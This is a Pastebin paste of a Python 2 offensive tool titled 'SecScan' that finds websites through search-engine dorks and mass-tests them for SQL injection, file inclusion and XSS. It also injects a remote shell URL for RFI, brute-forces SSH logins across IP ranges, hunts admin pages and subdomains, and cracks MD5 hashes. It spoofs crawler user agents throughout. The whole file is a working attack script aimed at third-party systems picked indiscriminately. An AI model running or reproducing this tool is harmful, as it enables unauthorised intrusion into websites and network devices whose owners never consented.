LoscardosMandoza

Sqli Scan .py

Oct 22nd, 2016
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.71 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import re
  3. import hashlib
  4. import Queue
  5. from random import choice
  6. import threading
  7. import time
  8. import urllib2
  9. import sys
  10. import socket
  11.  
  12. try:
  13. import paramiko
  14. PARAMIKO_IMPORTED = True
  15. except ImportError:
  16. PARAMIKO_IMPORTED = False
  17.  
  18.  
  19.  
  20. USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3",
  21. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  22. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  23. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  24. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  25. "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6",
  26. "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3"
  27. ]
  28. option = ' '
  29. vuln = 0
  30. invuln = 0
  31. np = 0
  32. found = []
  33.  
  34.  
  35. class Router(threading.Thread):
  36. """Checks for routers running ssh with given User/Pass"""
  37. def __init__(self, queue, user, passw):
  38. if not PARAMIKO_IMPORTED:
  39. print 'You need paramiko.'
  40. print 'http://www.lag.net/paramiko/'
  41. sys.exit(1)
  42. threading.Thread.__init__(self)
  43. self.queue = queue
  44. self.user = user
  45. self.passw = passw
  46.  
  47. def run(self):
  48. """Tries to connect to given Ip on port 22"""
  49. ssh = paramiko.SSHClient()
  50. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  51. while True:
  52. try:
  53. ip_add = self.queue.get(False)
  54.  
  55. except Queue.Empty:
  56. break
  57. try:
  58. ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10)
  59. ssh.close()
  60. print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw)
  61. write = open('Routers.txt', "a+")
  62. write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw))
  63. write.close()
  64. self.queue.task_done()
  65.  
  66. except:
  67. print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw)
  68. self.queue.task_done()
  69.  
  70.  
  71. class Ip:
  72. """Handles the Ip range creation"""
  73. def __init__(self):
  74. self.ip_range = []
  75. self.start_ip = raw_input('Start ip: ')
  76. self.end_ip = raw_input('End ip: ')
  77. self.user = raw_input('User: ')
  78. self.passw = raw_input('Password: ')
  79. self.iprange()
  80.  
  81. def iprange(self):
  82. """Creates list of Ip's from Start_Ip to End_Ip"""
  83. queue = Queue.Queue()
  84. start = list(map(int, self.start_ip.split(".")))
  85. end = list(map(int, self.end_ip.split(".")))
  86. tmp = start
  87.  
  88. self.ip_range.append(self.start_ip)
  89. while tmp != end:
  90. start[3] += 1
  91. for i in (3, 2, 1):
  92. if tmp[i] == 256:
  93. tmp[i] = 0
  94. tmp[i-1] += 1
  95. self.ip_range.append(".".join(map(str, tmp)))
  96.  
  97. for add in self.ip_range:
  98. queue.put(add)
  99.  
  100. for i in range(10):
  101. thread = Router(queue, self.user, self.passw )
  102. thread.setDaemon(True)
  103. thread.start()
  104. queue.join()
  105.  
  106.  
  107. class Crawl:
  108. """Searches for dorks and grabs results"""
  109. def __init__(self):
  110. if option == '4':
  111. self.shell = str(raw_input('Shell location: '))
  112. self.dork = raw_input('Enter your dork: ')
  113. self.queue = Queue.Queue()
  114. self.pages = raw_input('How many pages(Max 20): ')
  115. self.qdork = urllib2.quote(self.dork)
  116. self.page = 1
  117. self.crawler()
  118.  
  119. def crawler(self):
  120. """Crawls Ask.com for sites and sends them to appropriate scan"""
  121. print '\nDorking...'
  122. for i in range(int(self.pages)):
  123. host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page)
  124. req = urllib2.Request(host)
  125. req.add_header('User-Agent', choice(USER_AGENT))
  126. response = urllib2.urlopen(req)
  127. source = response.read()
  128. start = 0
  129. count = 1
  130. end = len(source)
  131. numlinks = source.count('_t" href', start, end)
  132.  
  133. while count < numlinks:
  134. start = source.find('_t" href', start, end)
  135. end = source.find(' onmousedown="return pk', start, end)
  136. link = source[start+10:end-1].replace("amp;","")
  137. self.queue.put(link)
  138. start = end
  139. end = len(source)
  140. count = count + 1
  141. self.page += 1
  142.  
  143. if option == '1':
  144. for i in range(10):
  145. thread = ScanClass(self.queue)
  146. thread.setDaemon(True)
  147. thread.start()
  148. self.queue.join()
  149.  
  150. elif option == '2':
  151. for i in range(10):
  152. thread = LScanClass(self.queue)
  153. thread.setDaemon(True)
  154. thread.start()
  155. self.queue.join()
  156.  
  157. elif option == '3':
  158. for i in range(10):
  159. thread = XScanClass(self.queue)
  160. thread.setDaemon(True)
  161. thread.start()
  162. self.queue.join()
  163.  
  164. elif option == '4':
  165. for i in range(10):
  166. thread = RScanClass(self.queue, self.shell)
  167. thread.setDaemon(True)
  168. thread.start()
  169. self.queue.join()
  170.  
  171.  
  172. class ScanClass(threading.Thread):
  173. """Scans for Sql errors and ouputs to file"""
  174. def __init__(self, queue):
  175. threading.Thread.__init__(self)
  176. self.queue = queue
  177. self.schar = "'"
  178. self.file = 'sqli.txt'
  179.  
  180. def run(self):
  181. """Scans Url for Sql errors"""
  182. while True:
  183. try:
  184. site = self.queue.get(False)
  185. except Queue.Empty:
  186. break
  187. if '=' in site:
  188. global vuln
  189. global invuln
  190. global np
  191. test = site + self.schar
  192.  
  193. try:
  194. conn = urllib2.Request(test)
  195. conn.add_header('User-Agent', choice(USER_AGENT))
  196. opener = urllib2.build_opener()
  197. data = opener.open(conn).read()
  198. except:
  199. self.queue.task_done()
  200. else:
  201. if (re.findall("error in your SQL syntax", data, re.I)):
  202. self.mysql(test)
  203. vuln += 1
  204. elif (re.findall('oracle.jdbc.', data, re.I)):
  205. self.mssql(test)
  206. vuln += 1
  207. elif (re.findall('system.data.oledb', data, re.I)):
  208. self.mssql(test)
  209. vuln += 1
  210. elif (re.findall('SQL command net properly ended', data, re.I)):
  211. self.mssql(test)
  212. vuln += 1
  213. elif (re.findall('atoracle.jdbc.', data, re.I)):
  214. self.mssql(test)
  215. vuln += 1
  216. elif (re.findall('java.sql.sqlexception', data, re.I)):
  217. self.mssql(test)
  218. vuln += 1
  219. elif (re.findall('query failed:', data, re.I)):
  220. self.mssql(test)
  221. vuln += 1
  222. elif (re.findall('postgresql.util.', data, re.I)):
  223. self.mssql(test)
  224. vuln += 1
  225. elif (re.findall('mysql_fetch', data, re.I)):
  226. self.mysql(test)
  227. vuln += 1
  228. elif (re.findall('Error:unknown', data, re.I)):
  229. self.mysql(test)
  230. vuln += 1
  231. elif (re.findall('JET Database Engine', data, re.I)):
  232. self.mssql(test)
  233. vuln += 1
  234. elif (re.findall('Microsoft OLE DB Provider for', data, re.I)):
  235. self.mssql(test)
  236. vuln += 1
  237. elif (re.findall('mysql_numrows', data, re.I)):
  238. self.mysql(test)
  239. vuln += 1
  240. elif (re.findall('mysql_num', data, re.I)):
  241. self.mysql(test)
  242. vuln += 1
  243. elif (re.findall('Invalid Query', data, re.I)):
  244. self.mysql(test)
  245. vuln += 1
  246. elif (re.findall('FetchRow', data, re.I)):
  247. self.mysql(test)
  248. vuln += 1
  249. elif (re.findall('JET Database', data, re.I)):
  250. self.mssql(test)
  251. vuln += 1
  252. elif (re.findall('OLE DB Provider for', data, re.I)):
  253. self.mssql(test)
  254. vuln += 1
  255. elif (re.findall('Syntax error', data, re.I)):
  256. self.mssql(test)
  257. vuln += 1
  258. else:
  259. print B+test + W+' <-- Not Vuln'
  260. invuln += 1
  261. else:
  262. print R+site + W+' <-- No Parameters'
  263. np += 1
  264. self.queue.task_done()
  265.  
  266.  
  267. def mysql(self, url):
  268. """Proccesses vuln sites into text file and outputs to screen"""
  269. read = open(self.file, "a+").read()
  270. if url in read:
  271. print G+'Dupe: ' + W+url
  272. else:
  273. print O+"MySql: " + url + W
  274. write = open(self.file, "a+")
  275. write.write('[SQLI]: ' + url + "\n")
  276. write.close()
  277.  
  278. def mssql(self, url):
  279. """Proccesses vuln sites into text file and outputs to screen"""
  280. read = open(self.file).read()
  281. if url in read:
  282. print G+'Dupe: ' + url + W
  283. else:
  284. print O+"MsSql: " + url + W
  285. write = open (self.file, "a+")
  286. write.write('[SQLI]: ' + url + "\n")
  287. write.close()
  288.  
  289.  
  290. class LScanClass(threading.Thread):
  291. """Scans for Lfi errors and outputs to file"""
  292. def __init__(self, queue):
  293. threading.Thread.__init__(self)
  294. self.file = 'lfi.txt'
  295. self.queue = queue
  296. self.lchar = '../'
  297.  
  298. def run(self):
  299. """Checks Url for File Inclusion errors"""
  300. while True:
  301. try:
  302. site = self.queue.get(False)
  303. except Queue.Empty:
  304. break
  305. if '=' in site:
  306. lsite = site.rsplit('=', 1)[0]
  307. if lsite[-1] != "=":
  308. lsite = lsite + "="
  309. test = lsite + self.lchar
  310. global vuln
  311. global invuln
  312. global np
  313.  
  314. try:
  315. conn = urllib2.Request(test)
  316. conn.add_header('User-Agent', choice(USER_AGENT))
  317. opener = urllib2.build_opener()
  318. data = opener.open(conn).read()
  319.  
  320. except:
  321. self.queue.task_done()
  322.  
  323. else:
  324. if (re.findall("failed to open stream: No such file or directory", data, re.I)):
  325. self.lfi(test)
  326. vuln += 1
  327. else:
  328. print B+test + W+' <-- Not Vuln'
  329. invuln += 1
  330. else:
  331. print R+site + W+' <-- No Parameters'
  332. np += 1
  333. self.queue.task_done()
  334.  
  335.  
  336. def lfi(self, url):
  337. """Proccesses vuln sites into text file and outputs to screen"""
  338. read = open(self.file, "a+").read()
  339. if url in read:
  340. print G+'Dupe: ' + url + W
  341. else:
  342. print O+"Lfi: " + url + W
  343. write = open(self.file, "a+")
  344. write.write('[LFI]: ' + url + "\n")
  345. write.close()
  346.  
  347.  
  348. class XScanClass(threading.Thread):
  349. """Scan for Xss errors and outputs to file"""
  350. def __init__(self, queue):
  351. threading.Thread.__init__(self)
  352. self.queue = queue
  353. self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>"""
  354. self.file = 'xss.txt'
  355.  
  356. def run(self):
  357. """Checks Url for possible Xss"""
  358. while True:
  359. try:
  360. site = self.queue.get(False)
  361. except Queue.Empty:
  362. break
  363. if '=' in site:
  364. global vuln
  365. global invuln
  366. global np
  367. xsite = site.rsplit('=', 1)[0]
  368. if xsite[-1] != "=":
  369. xsite = xsite + "="
  370. test = xsite + self.xchar
  371. try:
  372. conn = urllib2.Request(test)
  373. conn.add_header('User-Agent', choice(USER_AGENT))
  374. opener = urllib2.build_opener()
  375. data = opener.open(conn).read()
  376. except:
  377. self.queue.task_done()
  378. else:
  379. if (re.findall("xssBYm0le", data, re.I)):
  380. self.xss(test)
  381. vuln += 1
  382. else:
  383. print B+test + W+' <-- Not Vuln'
  384. invuln += 1
  385. else:
  386. print R+site + W+' <-- No Parameters'
  387. np += 1
  388. self.queue.task_done()
  389.  
  390. def xss(self, url):
  391. """Proccesses vuln sites into text file and outputs to screen"""
  392. read = open(self.file, "a+").read()
  393. if url in read:
  394. print G+'Dupe: ' + url + W
  395. else:
  396. print O+"Xss: " + url + W
  397. write = open(self.file, "a+")
  398. write.write('[XSS]: ' + url + "\n")
  399. write.close()
  400.  
  401.  
  402. class RScanClass(threading.Thread):
  403. """Scans for Rfi errors and outputs to file"""
  404. def __init__(self, queue, shell):
  405. threading.Thread.__init__(self)
  406. self.queue = queue
  407. self.file = 'rfi.txt'
  408. self.shell = shell
  409.  
  410. def run(self):
  411. """Checks Url for Remote File Inclusion vulnerability"""
  412. while True:
  413. try:
  414. site = self.queue.get(False)
  415. except Queue.Empty:
  416. break
  417. if '=' in site:
  418. global vuln
  419. global invuln
  420. global np
  421. rsite = site.rsplit('=', 1)[0]
  422. if rsite[-1] != "=":
  423. rsite = rsite + "="
  424. link = rsite + self.shell + '?'
  425. try:
  426. conn = urllib2.Request(link)
  427. conn.add_header('User-Agent', choice(USER_AGENT))
  428. opener = urllib2.build_opener()
  429. data = opener.open(conn).read()
  430. except:
  431. self.queue.task_done()
  432. else:
  433. if (re.findall('uname -a', data, re.I)):
  434. self.rfi(link)
  435. vuln += 1
  436. else:
  437. print B+link + W+' <-- Not Vuln'
  438. invuln += 1
  439. else:
  440. print R+site + W+' <-- No Parameters'
  441. np += 1
  442. self.queue.task_done()
  443.  
  444. def rfi(self, url):
  445. """Proccesses vuln sites into text file and outputs to screen"""
  446. read = open(self.file, "a+").read()
  447. if url in read:
  448. print G+'Dupe: ' + url + W
  449. else:
  450. print O+"Rfi: " + url + W
  451. write = open(self.file, "a+")
  452. write.write('[Rfi]: ' + url + "\n")
  453. write.close()
  454.  
  455.  
  456. class Atest(threading.Thread):
  457. """Checks given site for Admin Pages/Dirs"""
  458. def __init__(self, queue):
  459. threading.Thread.__init__(self)
  460. self.queue = queue
  461.  
  462. def run(self):
  463. """Checks if Admin Page/Dir exists"""
  464. while True:
  465. try:
  466. site = self.queue.get(False)
  467.  
  468. except Queue.Empty:
  469. break
  470. try:
  471. conn = urllib2.Request(site)
  472. conn.add_header('User-Agent', choice(USER_AGENT))
  473. opener = urllib2.build_opener()
  474. opener.open(conn)
  475. print site
  476. found.append(site)
  477. self.queue.task_done()
  478.  
  479. except urllib2.URLError:
  480. self.queue.task_done()
  481.  
  482.  
  483. def admin():
  484. """Create queue and threads for admin page scans"""
  485. print 'Need to include http:// and ending /\n'
  486. site = raw_input('Site: ')
  487. queue = Queue.Queue()
  488. dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/',
  489. 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php',
  490. 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html',
  491. 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php',
  492. 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp',
  493. 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html',
  494. 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php',
  495. 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html',
  496. 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
  497. 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
  498. 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html',
  499. 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
  500. 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html',
  501. 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html',
  502. 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html',
  503. 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php',
  504. 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php',
  505. 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php',
  506. 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  507.  
  508. for add in dirs:
  509. test = site + add
  510. queue.put(test)
  511.  
  512. for i in range(20):
  513. thread = Atest(queue)
  514. thread.setDaemon(True)
  515. thread.start()
  516. queue.join()
  517.  
  518. def aprint():
  519. """Print results of admin page scans"""
  520. print 'Search Finished\n'
  521. if len(found) == 0:
  522. print 'No pages found'
  523. else:
  524. for site in found:
  525. print O+'Found: ' + G+site + W
  526.  
  527.  
  528. class SDtest(threading.Thread):
  529. """Checks given Domain for Sub Domains"""
  530. def __init__(self, queue):
  531. threading.Thread.__init__(self)
  532. self.queue = queue
  533.  
  534. def run(self):
  535. """Checks if Sub Domain responds"""
  536. while True:
  537. try:
  538. domain = self.queue.get(False)
  539. except Queue.Empty:
  540. break
  541. try:
  542. site = 'http://' + domain
  543. conn = urllib2.Request(site)
  544. conn.add_header('User-Agent', choice(USER_AGENT))
  545. opener = urllib2.build_opener()
  546. opener.open(conn)
  547. except urllib2.URLError:
  548. self.queue.task_done()
  549. else:
  550. target = socket.gethostbyname(domain)
  551. print 'Found: ' + site + ' - ' + target
  552. self.queue.task_done()
  553.  
  554.  
  555. def subd():
  556. """Create queue and threads for sub domain scans"""
  557. queue = Queue.Queue()
  558. site = raw_input('Domain: ')
  559. sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca",
  560. "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro",
  561. "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana",
  562. "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange",
  563. "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford",
  564. "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d",
  565. "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil",
  566. "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere",
  567. "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research",
  568. "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping",
  569. "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads",
  570. "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1",
  571. "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"]
  572.  
  573. for check in sub:
  574. test = check + '.' + site
  575. queue.put(test)
  576.  
  577. for i in range(20):
  578. thread = SDtest(queue)
  579. thread.setDaemon(True)
  580. thread.start()
  581. queue.join()
  582.  
  583.  
  584. class Cracker(threading.Thread):
  585. """Use a wordlist to try and brute the hash"""
  586. def __init__(self, queue, hashm):
  587. threading.Thread.__init__(self)
  588. self.queue = queue
  589. self.hashm = hashm
  590.  
  591. def run(self):
  592. """Hash word and check against hash"""
  593. while True:
  594. try:
  595. word = self.queue.get(False)
  596. except Queue.Empty:
  597. break
  598. tmp = hashlib.md5(word).hexdigest()
  599. if tmp == self.hashm:
  600. self.result(word)
  601. self.queue.task_done()
  602.  
  603. def result(self, words):
  604. """Print result if found"""
  605. print self.hashm + ' = ' + words
  606.  
  607. def word():
  608. """Create queue and threads for hash crack"""
  609. queue = Queue.Queue()
  610. wordlist = raw_input('Wordlist: ')
  611. hashm = raw_input('Enter Md5 hash: ')
  612. read = open(wordlist)
  613. for words in read:
  614. words = words.replace("\n","")
  615. queue.put(words)
  616. read.close()
  617. for i in range(5):
  618. thread = Cracker(queue, hashm)
  619. thread.setDaemon(True)
  620. thread.start()
  621. queue.join()
  622.  
  623.  
  624. class OnlineCrack:
  625. """Use online service to check for hash"""
  626.  
  627. def crack(self):
  628. """Connect and check hash"""
  629. hashm = raw_input('Enter MD5 Hash: ')
  630. conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm))
  631. conn.add_header('User-Agent', choice(USER_AGENT))
  632. opener = urllib2.build_opener()
  633. opener.open(conn)
  634. data = opener.open(conn).read()
  635. if data == 'No results returned.':
  636. print '\n- Not found or not valid -'
  637. else:
  638. print '\n- %s -' % (data)
  639.  
  640.  
  641. class Check:
  642. """Check your current IP address"""
  643.  
  644. def grab(self):
  645. """Connect to site and grab IP"""
  646. site = 'http://www.tracemyip.org/'
  647. try:
  648. conn = urllib2.Request(site)
  649. conn.add_header('User-Agent', choice(USER_AGENT))
  650. opener = urllib2.build_opener()
  651. opener.open(conn)
  652. data = opener.open(conn).read()
  653. start = 0
  654. end = len(data)
  655. start = data.find('onClick="', start, end)
  656. end = data.find('size=', start, end)
  657. ip_add = data[start+46:end-2].strip()
  658. print '\nYour current Ip address is %s' % (ip_add)
  659.  
  660. except urllib2.HTTPError:
  661. print 'Error connecting'
  662.  
  663.  
  664. def output():
  665. """Outputs dork scan results to screen"""
  666. print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W
  667. print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W
  668. print '>> ' + str(np) + R+' Sites Without Parameters' + W
  669. if option == '1':
  670. print '>> Output Saved To sqli.txt\n'
  671. elif option == '2':
  672. print '>> Output Saved To lfi.txt'
  673. elif option == '3':
  674. print '>> Output Saved To xss.txt'
  675. elif option == '4':
  676. print '>> Output Saved To rfi.txt'
  677.  
  678.  
  679. W = "\033[0m";
  680. R = "\033[31m";
  681. G = "\033[32m";
  682. O = "\033[33m";
  683. B = "\033[34m";
  684.  
  685. def main():
  686. """Outputs Menu and gets input"""
  687. quotes = [
  688. ]
  689. print (O+'''
  690. -------------
  691. -- SecScan --
  692. --- v1.5 ----
  693. ---- by -----
  694. --- m0le ----
  695. -------------''')
  696. print (G+'''
  697. -[1]- SQLi
  698. -[2]- LFI
  699. -[3]- XSS
  700. -[4]- RFI
  701. -[5]- Proxy
  702. -[6]- Admin Page Finder
  703. -[7]- Sub Domain Scan
  704. -[8]- Dictionary MD5 cracker
  705. -[9]- Online MD5 cracker
  706. -[10]- Check your IP address''')
  707.  
  708. print (B+'''
  709. -[!]- If freeze while running or want to quit,
  710. just Ctrl C, it will automatically terminate the job.
  711. ''')
  712. print W
  713. global option
  714. option = raw_input('Enter Option: ')
  715.  
  716. if option:
  717. if option == '1':
  718. Crawl()
  719. output()
  720. print choice(quotes)
  721.  
  722. elif option == '2':
  723. Crawl()
  724. output()
  725. print choice(quotes)
  726.  
  727. elif option == '3':
  728. Crawl()
  729. output()
  730. print choice(quotes)
  731.  
  732. elif option == '4':
  733. Crawl()
  734. output()
  735. print choice(quotes)
  736.  
  737. elif option == '5':
  738. Ip()
  739. print choice(quotes)
  740.  
  741. elif option == '6':
  742. admin()
  743. aprint()
  744. print choice(quotes)
  745.  
  746. elif option == '7':
  747. subd()
  748. print choice(quotes)
  749.  
  750. elif option == '8':
  751. word()
  752. print choice(quotes)
  753.  
  754. elif option == '9':
  755. OnlineCrack().crack()
  756. print choice(quotes)
  757.  
  758.  
  759. elif option == '10':
  760. Check().grab()
  761. print choice(quotes)
  762.  
  763. else:
  764. print R+'\nInvalid Choice\n' + W
  765. time.sleep(0.9)
  766. main()
  767.  
  768. else:
  769. print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W
  770. time.sleep(0.9)
  771. main()
  772.  
  773.  
  774. if __name__ == '__main__':
  775. main()
Advertisement
Add Comment
Please, Sign In to add comment